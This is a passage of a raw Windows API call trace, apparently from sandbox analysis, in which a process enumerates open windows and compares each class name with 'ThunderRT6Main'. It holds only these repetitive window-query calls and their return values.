nIndex=-6) returned 0x0 [0096.705] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0096.705] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101c2 [0096.705] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0096.705] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0096.705] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.705] GetWindowLongA (hWnd=0x101c2, nIndex=-16) returned 114229248 [0096.705] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0096.705] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0096.705] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x401ba [0096.705] GetClassNameA (in: hWnd=0x401ba, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0096.705] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0096.705] GetWindowThreadProcessId (in: hWnd=0x401ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0096.705] GetWindow (hWnd=0x401ba, uCmd=0x2) returned 0x201b0 [0096.705] GetClassNameA (in: hWnd=0x201b0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ARC Window Class") returned 16 [0096.705] lstrcmpA (lpString1="ARC Window Class", lpString2="ThunderRT6Main") returned -1 [0096.705] GetWindowThreadProcessId (in: hWnd=0x201b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.705] GetWindowLongA (hWnd=0x201b0, nIndex=-16) returned -2080374784 [0096.705] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0096.705] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0096.705] GetWindow (hWnd=0x201b0, uCmd=0x2) returned 0x101a8 [0096.705] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.705] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.705] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0096.705] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101a6 [0096.705] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="bloggingroutesInformedwin") returned 25 [0096.705] lstrcmpA (lpString1="bloggingroutesInformedwin", lpString2="ThunderRT6Main") returned -1 [0096.705] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0096.705] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101e4 [0096.705] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0096.705] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0096.705] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.705] GetWindowLongA (hWnd=0x101e4, nIndex=-16) returned 1149272145 [0096.705] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101a4 [0096.705] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.705] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.705] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0096.705] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a2 [0096.705] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Sport_Verification_Trash_") returned 25 [0096.705] lstrcmpA (lpString1="Sport_Verification_Trash_", lpString2="ThunderRT6Main") returned -1 [0096.705] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0096.706] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x101a0 [0096.706] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.706] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.706] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0096.706] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x1019e [0096.706] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="CopyrightRegionalcls") returned 20 [0096.706] lstrcmpA (lpString1="CopyrightRegionalcls", lpString2="ThunderRT6Main") returned -1 [0096.706] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0096.706] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c [0096.706] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.706] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.706] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0096.706] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0096.706] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ConstraintafterwardsmardiPortugalwin") returned 36 [0096.706] lstrcmpA (lpString1="ConstraintafterwardsmardiPortugalwin", lpString2="ThunderRT6Main") returned -1 [0096.706] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0096.706] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10198 [0096.706] GetClassNameA (in: hWnd=0x10198, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.706] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.706] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0096.706] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10196 [0096.706] GetClassNameA (in: hWnd=0x10196, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="provincefiftySpankclass") returned 23 [0096.706] lstrcmpA (lpString1="provincefiftySpankclass", lpString2="ThunderRT6Main") returned -1 [0096.706] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0096.706] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10192 [0096.706] GetClassNameA (in: hWnd=0x10192, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="CurrencyAppointmentswnd") returned 23 [0096.706] lstrcmpA (lpString1="CurrencyAppointmentswnd", lpString2="ThunderRT6Main") returned -1 [0096.706] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0096.706] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0096.706] GetClassNameA (in: hWnd=0x10194, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.706] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.706] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0096.706] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0096.706] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Integer_Hop_Charming_app") returned 24 [0096.706] lstrcmpA (lpString1="Integer_Hop_Charming_app", lpString2="ThunderRT6Main") returned -1 [0096.706] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0096.706] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0096.706] GetClassNameA (in: hWnd=0x10190, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.707] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.707] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0096.707] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0096.707] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="different_Executed_helicopter_government_app") returned 44 [0096.707] lstrcmpA (lpString1="different_Executed_helicopter_government_app", lpString2="ThunderRT6Main") returned -1 [0096.707] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0096.707] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0096.707] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.707] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.709] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0096.709] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0096.709] GetClassNameA (in: hWnd=0x10186, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Blanket_Si_studies_win") returned 22 [0096.709] lstrcmpA (lpString1="Blanket_Si_studies_win", lpString2="ThunderRT6Main") returned -1 [0096.709] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0096.709] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0096.709] GetClassNameA (in: hWnd=0x10188, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.709] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.709] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0096.709] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0096.709] GetClassNameA (in: hWnd=0x10182, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="cfrwnd") returned 6 [0096.709] lstrcmpA (lpString1="cfrwnd", lpString2="ThunderRT6Main") returned -1 [0096.709] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0096.709] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0096.709] GetClassNameA (in: hWnd=0x10184, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.709] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.709] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0096.709] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0096.709] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Face_cls") returned 8 [0096.710] lstrcmpA (lpString1="Face_cls", lpString2="ThunderRT6Main") returned -1 [0096.710] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0096.710] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10180 [0096.710] GetClassNameA (in: hWnd=0x10180, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.710] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.710] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0096.710] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0096.710] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="latex_fairly_Tasks_win") returned 22 [0096.710] lstrcmpA (lpString1="latex_fairly_Tasks_win", lpString2="ThunderRT6Main") returned -1 [0096.710] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0096.710] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017e [0096.710] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.710] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.710] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0096.710] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10176 [0096.710] GetClassNameA (in: hWnd=0x10176, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="listed_Specifies_Thus_Traditional_window") returned 40 [0096.710] lstrcmpA (lpString1="listed_Specifies_Thus_Traditional_window", lpString2="ThunderRT6Main") returned -1 [0096.710] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0096.710] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0096.710] GetClassNameA (in: hWnd=0x10178, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.710] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.710] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0096.710] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0096.710] GetClassNameA (in: hWnd=0x10172, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Assessapp") returned 9 [0096.710] lstrcmpA (lpString1="Assessapp", lpString2="ThunderRT6Main") returned -1 [0096.710] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0096.710] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0096.710] GetClassNameA (in: hWnd=0x10174, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.710] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.711] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0096.711] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0096.711] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DutyUsualPositioningDepartmentswnd") returned 34 [0096.711] lstrcmpA (lpString1="DutyUsualPositioningDepartmentswnd", lpString2="ThunderRT6Main") returned -1 [0096.711] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0096.711] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0096.711] GetClassNameA (in: hWnd=0x10170, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.711] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.711] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0096.711] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0096.711] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="fr_cls") returned 6 [0096.711] lstrcmpA (lpString1="fr_cls", lpString2="ThunderRT6Main") returned -1 [0096.711] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0096.711] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0096.711] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.711] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.711] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0096.711] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0096.711] GetClassNameA (in: hWnd=0x10166, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Profiles_camp_") returned 14 [0096.711] lstrcmpA (lpString1="Profiles_camp_", lpString2="ThunderRT6Main") returned -1 [0096.711] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0096.711] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0096.711] GetClassNameA (in: hWnd=0x10168, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.711] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.711] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0096.711] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0096.711] GetClassNameA (in: hWnd=0x10162, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="SheetCopiessurpluswindow") returned 24 [0096.711] lstrcmpA (lpString1="SheetCopiessurpluswindow", lpString2="ThunderRT6Main") returned -1 [0096.711] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0096.711] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0096.711] GetClassNameA (in: hWnd=0x10164, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.711] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.711] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0096.711] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0096.711] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Watch_Equation_app") returned 18 [0096.711] lstrcmpA (lpString1="Watch_Equation_app", lpString2="ThunderRT6Main") returned 1 [0096.711] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0096.712] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0096.712] GetClassNameA (in: hWnd=0x10160, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.712] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.712] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0096.712] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0096.712] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ie_wnd") returned 6 [0096.712] lstrcmpA (lpString1="ie_wnd", lpString2="ThunderRT6Main") returned -1 [0096.712] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0096.712] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0096.712] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.712] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.712] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0096.712] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x9009e [0096.712] GetClassNameA (in: hWnd=0x9009e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Outsourcing_win") returned 15 [0096.712] lstrcmpA (lpString1="Outsourcing_win", lpString2="ThunderRT6Main") returned -1 [0096.712] GetWindowThreadProcessId (in: hWnd=0x9009e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0096.712] GetWindow (hWnd=0x9009e, uCmd=0x2) returned 0x20156 [0096.712] GetClassNameA (in: hWnd=0x20156, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.712] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.712] GetWindowThreadProcessId (in: hWnd=0x20156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0096.712] GetWindow (hWnd=0x20156, uCmd=0x2) returned 0x50128 [0096.712] GetClassNameA (in: hWnd=0x50128, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Malta_Much_River_Citizenship_") returned 29 [0096.712] lstrcmpA (lpString1="Malta_Much_River_Citizenship_", lpString2="ThunderRT6Main") returned -1 [0096.712] GetWindowThreadProcessId (in: hWnd=0x50128, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0096.712] GetWindow (hWnd=0x50128, uCmd=0x2) returned 0x6011e [0096.712] GetClassNameA (in: hWnd=0x6011e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.712] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.712] GetWindowThreadProcessId (in: hWnd=0x6011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0096.712] GetWindow (hWnd=0x6011e, uCmd=0x2) returned 0x20020 [0096.712] GetClassNameA (in: hWnd=0x20020, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0096.712] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0096.712] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0096.712] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0096.712] GetClassNameA (in: hWnd=0x20024, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.712] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.712] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0096.712] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x20022 [0096.712] GetClassNameA (in: hWnd=0x20022, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0096.713] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0096.713] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0096.713] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x2001e [0096.713] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.713] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.713] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0096.713] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20158 [0096.713] GetClassNameA (in: hWnd=0x20158, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0096.713] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0096.713] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0096.713] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x1014c [0096.713] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0096.713] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0096.713] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0096.713] GetWindow (hWnd=0x1014c, uCmd=0x2) returned 0x1014a [0096.713] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0096.713] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0096.713] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0096.713] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x20140 [0096.713] GetClassNameA (in: hWnd=0x20140, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0096.713] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0096.713] GetWindowThreadProcessId (in: hWnd=0x20140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0096.713] GetWindow (hWnd=0x20140, uCmd=0x2) returned 0x10134 [0096.713] GetClassNameA (in: hWnd=0x10134, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0096.713] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0096.713] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0096.713] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10136 [0096.713] GetClassNameA (in: hWnd=0x10136, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.713] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.713] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0096.713] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x1012c [0096.713] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ATL:000007FEFBBC41F0") returned 20 [0096.713] lstrcmpA (lpString1="ATL:000007FEFBBC41F0", lpString2="ThunderRT6Main") returned -1 [0096.713] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0096.713] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x1012e [0096.713] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.713] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.714] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0096.714] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x2006a [0096.714] GetClassNameA (in: hWnd=0x2006a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0096.714] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0096.714] GetWindowThreadProcessId (in: hWnd=0x2006a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0096.714] GetWindow (hWnd=0x2006a, uCmd=0x2) returned 0x20068 [0096.714] GetClassNameA (in: hWnd=0x20068, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.714] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.714] GetWindowThreadProcessId (in: hWnd=0x20068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0096.714] GetWindow (hWnd=0x20068, uCmd=0x2) returned 0x20066 [0096.714] GetClassNameA (in: hWnd=0x20066, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0096.714] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0096.714] GetWindowThreadProcessId (in: hWnd=0x20066, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0096.714] GetWindow (hWnd=0x20066, uCmd=0x2) returned 0x10124 [0096.714] GetClassNameA (in: hWnd=0x10124, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0096.714] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0096.714] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7bc [0096.714] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10122 [0096.714] GetClassNameA (in: hWnd=0x10122, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0096.714] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0096.714] GetWindowThreadProcessId (in: 